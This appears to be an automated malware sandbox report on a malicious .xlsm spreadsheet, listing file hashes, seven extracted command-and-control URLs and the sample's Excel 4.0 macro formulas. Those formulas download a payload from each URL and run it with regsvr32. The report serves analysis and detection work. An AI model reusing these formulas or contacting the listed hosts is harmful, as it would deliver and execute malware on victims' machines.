General

  • Target

    d0f40f11bf7d728b6565abbca5ded558db2ab1fb1fe93f8e4971f2fa1e929b4f

  • Size

    35KB

  • MD5

    a9cee62d97571fa1f203734e2fee305b

  • SHA1

    f91bad84cc14a75d70dbea4c9c5db4a6a893209f

  • SHA256

    d0f40f11bf7d728b6565abbca5ded558db2ab1fb1fe93f8e4971f2fa1e929b4f

  • SHA512

    58dd30d3c85caa8a156fa393bc1b9295abd2deb5dc955aba4ad90f603a8d2daacfe306371b15cc529199100cf80c0233361fb9e669b56734580b453ba8ecfda6

  • SSDEEP

    768:6YKtm5eMn7AjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooXLR:6YKtmg+UOZZ1ZYpoQ/pMAm

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://casinojackpotking.com/cgi-bin/47sKbklSQf31/

https://dentaltogether.com/wp-content/YNscIH7jpwh9twPhWol/

https://directorkay.com.ng/wp-admin/MYP3NA/

https://deatravel.al/wp-includes/H544R/

https://rizwansulehria.com/cgi-bin/HfRbJzbrgq/

https://rassti.com/Fox-SS/uJKpjP0kSfDQtFBw/

https://www.mv-burgenland.at/wp-admin/Rc9nuJgma/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://casinojackpotking.com/cgi-bin/47sKbklSQf31/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dentaltogether.com/wp-content/YNscIH7jpwh9twPhWol/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://directorkay.com.ng/wp-admin/MYP3NA/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deatravel.al/wp-includes/H544R/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rizwansulehria.com/cgi-bin/HfRbJzbrgq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rassti.com/Fox-SS/uJKpjP0kSfDQtFBw/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.mv-burgenland.at/wp-admin/Rc9nuJgma/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • d0f40f11bf7d728b6565abbca5ded558db2ab1fb1fe93f8e4971f2fa1e929b4f
    .xlsm office2007